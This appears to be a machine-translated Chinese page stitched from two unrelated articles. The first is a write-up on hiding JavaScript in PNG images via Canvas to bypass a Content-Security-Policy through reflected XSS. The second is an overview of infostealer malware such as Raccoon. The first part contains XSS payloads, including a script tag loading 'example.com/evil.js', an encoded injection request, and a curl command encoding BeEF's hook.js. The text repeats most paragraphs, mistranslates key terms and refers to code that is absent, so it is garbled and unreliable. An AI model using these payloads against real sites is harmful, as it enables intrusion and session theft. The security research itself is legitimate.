Canvas 2D API 的方法返回一个对象,该对象表示光纤指定部分的底层原材料数据。此方法不受光纤的变换矩阵的影响。如果指定的精确超出光纤的边界,则返回的对象中光纤指定部分的光纤为透明黑色。
使用 Canvas 隐藏 PNG 图像中的文本
按照您可以复制并粘贴到浏览器的 JavaScript 控制台中的示例,从给定的字符串开始创建 PNG 图像,例如:“Hello, World!”。打开新选项卡,然后about:blank打开 JavaScript 控制台并粘贴以下代码
上面的代码使用putImageData表示“Hello, World!”字符串中每 3 个字符的组作为每个像素的 RGB(红色、绿色和蓝色)级别的方法创建了一个图像。在浏览器的控制台中运行它后,您会在左上角看到一个小图像
使用 Canvas 隐藏 PNG 图像中的文本
按照您可以复制并粘贴到浏览器的 JavaScript 控制台中的示例,从给定的字符串开始创建 PNG 图像,例如:“Hello, World!”。打开新选项卡,然后about:blank打开 JavaScript 控制台并粘贴以下代码
上面的代码使用putImageData表示“Hello, World!”字符串中每 3 个字符的组作为每个像素的 RGB(红色、绿色和蓝色)级别的方法创建了一个图像。在浏览器的控制台中运行它后,您会在左上角看到一个小图像
现在我们有了一个代表“Hello, World!”字符串的 PNG 图像。您可以将以下代码复制并粘贴到 JavaScript 控制台中,以将生成的 PNG 图像转换为原始文本字符串
如上所示,JavaScript 代码选择刚刚创建的图像元素,并使用getImageData将其转换为原始文本字符串。使用 时getImageData,您将获得一个ImageData具有包含大数组的属性的对象data。如前所示,每个像素的数组中有四个条目ImageData:r、g、b和alpha。因此,数组看起来像[pixel1R, pixel1G, pixel1B, pixel1Alpha, ..., pixelNR, pixelNG, pixelNB, pixelNAlpha]。
如上所示,JavaScript 代码选择刚刚创建的图像元素,并使用getImageData将其转换为原始文本字符串。使用 时getImageData,您将获得一个ImageData具有包含大数组的属性的对象data。如前所示,每个像素的数组中有四个条目ImageData:r、g、b和alpha。因此,数组看起来像[pixel1R, pixel1G, pixel1B, pixel1Alpha, ..., pixelNR, pixelNG, pixelNB, pixelNAlpha]。
存在漏洞的网站
现在我们知道如何将文本字符串“存储”到图像中以及如何将该图像转换回其原始字符串。现在假设隐藏 JavaScript 代码而不是简单的文本字符串,并将生成的 PNG 图像上传到 Twitter。可以绕过将 Twitter 图像列入白名单的内容安全策略,并可以利用 XSS 从“受信任”的来源加载 JavaScript 内容。
现在我们知道如何将文本字符串“存储”到图像中以及如何将该图像转换回其原始字符串。现在假设隐藏 JavaScript 代码而不是简单的文本字符串,并将生成的 PNG 图像上传到 Twitter。可以绕过将 Twitter 图像列入白名单的内容安全策略,并可以利用 XSS 从“受信任”的来源加载 JavaScript 内容。
如您所见,该应用程序使用 Content-Security-Policy,允许来自“self”和 Twitter 的图像,并允许来自“self”、“inline”和“eval”的 JavaScript。不幸的是,许多网站配置script-src指令允许 unsafe-inline 和 unsafe-eval 以避免误报。此外,许多网站将整个域列入白名单,而不是将特定资源列入白名单。
如果您认为这种配置很少见,并且没有人在 script-src 指令上使用“unsafe-inline”和“unsafe-eval”,那您就错了。根据最近对 Alexa Top 1m 的抓取,似乎有超过 5000 个网站在 script-src 或 default-src 指令上使用带有“unsafe-inline”和“unsafe-eval”的 Content-Security-Policy
该漏洞存在于lang查询字符串参数中,该参数未对用户输入进行清理,从而导致 HTML 注入和反射型 XSS。要利用此测试 Web 应用程序上的 XSS 漏洞,我需要注入 HTML 语法来关闭src属性并添加 SCRIPT 标记,然后注入 JavaScript 代码,例如?lang="><script>alert(1)</script>。
现在我需要绕过 CSP 并导入类似?lang="><script+src="//example.com/evil.js"></script>被 CSP 阻止的外部 JavaScript 库
如果您认为这种配置很少见,并且没有人在 script-src 指令上使用“unsafe-inline”和“unsafe-eval”,那您就错了。根据最近对 Alexa Top 1m 的抓取,似乎有超过 5000 个网站在 script-src 或 default-src 指令上使用带有“unsafe-inline”和“unsafe-eval”的 Content-Security-Policy
该漏洞存在于lang查询字符串参数中,该参数未对用户输入进行清理,从而导致 HTML 注入和反射型 XSS。要利用此测试 Web 应用程序上的 XSS 漏洞,我需要注入 HTML 语法来关闭src属性并添加 SCRIPT 标记,然后注入 JavaScript 代码,例如?lang="><script>alert(1)</script>。
现在我需要绕过 CSP 并导入类似?lang="><script+src="//example.com/evil.js"></script>被 CSP 阻止的外部 JavaScript 库
利用:绕过 CSP
正如我之前所说,为了利用测试 Web 应用程序,我需要将 HTML 语法注入 IMG 标签中,以src使用类似的方式关闭属性?lang="><script>alert(1)</script>。
要包含来自 Twitter 的远程图像,我只需发送此请求:
/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22%3E%3Ca+href=%22
红色部分是我们的恶意 PNG 图像的 Twitter URL。蓝色部分是id注入的属性,以便更容易选择 IMG 标签。绿色部分是 A 标签,仅用于防止破坏 HTML 语法。现在我需要注入几行 JavaScript 来将图像转换为外部 JavaScript 库并绕过 CSP
正如我之前所说,为了利用测试 Web 应用程序,我需要将 HTML 语法注入 IMG 标签中,以src使用类似的方式关闭属性?lang="><script>alert(1)</script>。
要包含来自 Twitter 的远程图像,我只需发送此请求:
/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22%3E%3Ca+href=%22
红色部分是我们的恶意 PNG 图像的 Twitter URL。蓝色部分是id注入的属性,以便更容易选择 IMG 标签。绿色部分是 A 标签,仅用于防止破坏 HTML 语法。现在我需要注入几行 JavaScript 来将图像转换为外部 JavaScript 库并绕过 CSP
将 PNG/JS 上传至 Twitter
经过一些测试,我发现当上传的图片太小时,Twitter 会报错。所以我用了一长段 JavaScript 代码(包括随机注释)来创建一个更大的图片
经过一些测试,我发现当上传的图片太小时,Twitter 会报错。所以我用了一长段 JavaScript 代码(包括随机注释)来创建一个更大的图片
发送整个有效负载时,我收到执行错误,getImageData并显示消息“画布已被跨源数据污染”
由于画布位图中的像素可能来自各种来源,包括从其他主机检索的图像或视频,因此不可避免地会出现安全问题。只要您在画布上绘制任何未经 CORS 批准从其他来源加载的数据,画布就会被污染。被污染的画布不再被视为安全,任何从画布检索图像数据的尝试都会导致抛出异常。如果外部内容的来源是 HTML<img>或 SVG<svg>元素,则不允许尝试检索画布的内容
由于画布位图中的像素可能来自各种来源,包括从其他主机检索的图像或视频,因此不可避免地会出现安全问题。只要您在画布上绘制任何未经 CORS 批准从其他来源加载的数据,画布就会被污染。被污染的画布不再被视为安全,任何从画布检索图像数据的尝试都会导致抛出异常。如果外部内容的来源是 HTML<img>或 SVG<svg>元素,则不允许尝试检索画布的内容
This media is not supported in your browser
VIEW IN TELEGRAM
转换 BeEF hook.js
这是将 BeEF 的 hook.js 转换为 PNG 图像的测试。BeEF 是一个浏览器利用框架,一个专注于 Web 浏览器的渗透测试工具(您可以在BeEF 的网站上找到更多信息)。我首先用 base64 对其进行编码curl -s 'http://localhost:3000/hook.js' | base64 -w0,然后创建如前所示的图像。
这是将 BeEF 的 hook.js 转换为 PNG 图像的测试。BeEF 是一个浏览器利用框架,一个专注于 Web 浏览器的渗透测试工具(您可以在BeEF 的网站上找到更多信息)。我首先用 base64 对其进行编码curl -s 'http://localhost:3000/hook.js' | base64 -w0,然后创建如前所示的图像。
信息窃取者:概述
什么是信息窃取者?
信息窃取程序是一种恶意软件,其目的是侵入计算机系统并从受感染的设备中获取有价值的信息。这些恶意软件程序会秘密运行(某些恶意软件可能会弹出窗口或明显影响系统性能),以收集敏感数据。
总之,信息窃取程序是一种从计算机秘密窃取机密信息的恶意软件。
我们的计算机中隐藏了大量敏感信息 - 浏览器中的密码、带有连接令牌的cookie、保存有敏感信息的文件(您认为有多少人保存了以“密码”或“私人”等名称命名的文本文件?)、带有恢复密钥的PDF、包含银行信息的Word文档 - 仅举了几例。
一些更具体的信息
感染计算机后,信息窃取者会使用以下各种技术(包括但不限于)来获取数据。这些技术包括:
票据:票据是重要的目标,为犯罪分子提供了访问计算机最快、最简单的方法。这些被盗票据用于浏览器中的登录链接中的收集存储、用户名甚至密码。
Cookies:Cookies使恶意行为者能够访问已登录会话,绕过MFA/2FA等安全措施。
文档和文本文件:信息窃取者发现并瞄准包含机密信息(如财务、知识产权、服务器密码和加密私钥)的高风险文件。
特定于机器的属性:这些属性包括计算机名称、操作系统、IP 地址、感染日期和途径,以及现有的防病毒软件和已安装的应用程序。这是他们进行侦察的方式!
什么是信息窃取者?
信息窃取程序是一种恶意软件,其目的是侵入计算机系统并从受感染的设备中获取有价值的信息。这些恶意软件程序会秘密运行(某些恶意软件可能会弹出窗口或明显影响系统性能),以收集敏感数据。
总之,信息窃取程序是一种从计算机秘密窃取机密信息的恶意软件。
我们的计算机中隐藏了大量敏感信息 - 浏览器中的密码、带有连接令牌的cookie、保存有敏感信息的文件(您认为有多少人保存了以“密码”或“私人”等名称命名的文本文件?)、带有恢复密钥的PDF、包含银行信息的Word文档 - 仅举了几例。
一些更具体的信息
感染计算机后,信息窃取者会使用以下各种技术(包括但不限于)来获取数据。这些技术包括:
票据:票据是重要的目标,为犯罪分子提供了访问计算机最快、最简单的方法。这些被盗票据用于浏览器中的登录链接中的收集存储、用户名甚至密码。
Cookies:Cookies使恶意行为者能够访问已登录会话,绕过MFA/2FA等安全措施。
文档和文本文件:信息窃取者发现并瞄准包含机密信息(如财务、知识产权、服务器密码和加密私钥)的高风险文件。
特定于机器的属性:这些属性包括计算机名称、操作系统、IP 地址、感染日期和途径,以及现有的防病毒软件和已安装的应用程序。这是他们进行侦察的方式!
反检测功能:一些机器人框架包含反虚拟机功能,以便在虚拟环境中运行时逃避检测,并包含自毁机制以在执行后消除痕迹
全家福
从技术上讲,信息窃取者是一种恶意软件,我们通常将其视为一种产品(例如购买办公套件或照片编辑程序),从技术上讲,它是一种恶意软件即服务 (MaaS),因为人们可以支付130 至 750 美元购买 Vidar 信息窃取者,例如,根据许可证,从供应商处购买。但人们通常也将其称为自己的实体、家族、分销商、经销商、市场、活动和威胁行为者。在这里,我将从两个方面讨论信息窃取者,而不是关注它是恶意软件还是威胁行为者。
全家福
从技术上讲,信息窃取者是一种恶意软件,我们通常将其视为一种产品(例如购买办公套件或照片编辑程序),从技术上讲,它是一种恶意软件即服务 (MaaS),因为人们可以支付130 至 750 美元购买 Vidar 信息窃取者,例如,根据许可证,从供应商处购买。但人们通常也将其称为自己的实体、家族、分销商、经销商、市场、活动和威胁行为者。在这里,我将从两个方面讨论信息窃取者,而不是关注它是恶意软件还是威胁行为者。
狸
Raccoon Infostealer 于 2019 年 4 月首次被发现,是一种流行且有效的恶意软件即服务 (MaaS)。Raccoon 针对各种敏感信息,例如登录凭据、信用卡详细信息、cookie、浏览器历史记录和自动填充信息。Raccoon 用 C++ 编写,采用模块化方法感染 32 位和 64 位 Windows 系统,使用进程注入技术劫持合法进程(如 explorer.exe)并获得提升的权限。
Raccoon 特别危险的原因在于其全面的数据收集能力。该恶意软件会收集详细的系统信息,包括操作系统架构、版本、系统语言、硬件详细信息和已安装的应用程序。如果攻击者的配置启用了此功能,它还可以捕获屏幕截图。Raccoon 针对每个目标应用程序遵循标准程序:查找和复制包含敏感数据的缓存文件,提取和加密信息,并将其存储在其主操作目录中。收集数据后,Raccoon 会将所有被盗信息压缩为一个 zip 文件,并将其泄露到其命令和控制 (C2) 服务器,通常使用 Telegraph 或 Discord 进行 C2 操作
Raccoon Infostealer 于 2019 年 4 月首次被发现,是一种流行且有效的恶意软件即服务 (MaaS)。Raccoon 针对各种敏感信息,例如登录凭据、信用卡详细信息、cookie、浏览器历史记录和自动填充信息。Raccoon 用 C++ 编写,采用模块化方法感染 32 位和 64 位 Windows 系统,使用进程注入技术劫持合法进程(如 explorer.exe)并获得提升的权限。
Raccoon 特别危险的原因在于其全面的数据收集能力。该恶意软件会收集详细的系统信息,包括操作系统架构、版本、系统语言、硬件详细信息和已安装的应用程序。如果攻击者的配置启用了此功能,它还可以捕获屏幕截图。Raccoon 针对每个目标应用程序遵循标准程序:查找和复制包含敏感数据的缓存文件,提取和加密信息,并将其存储在其主操作目录中。收集数据后,Raccoon 会将所有被盗信息压缩为一个 zip 文件,并将其泄露到其命令和控制 (C2) 服务器,通常使用 Telegraph 或 Discord 进行 C2 操作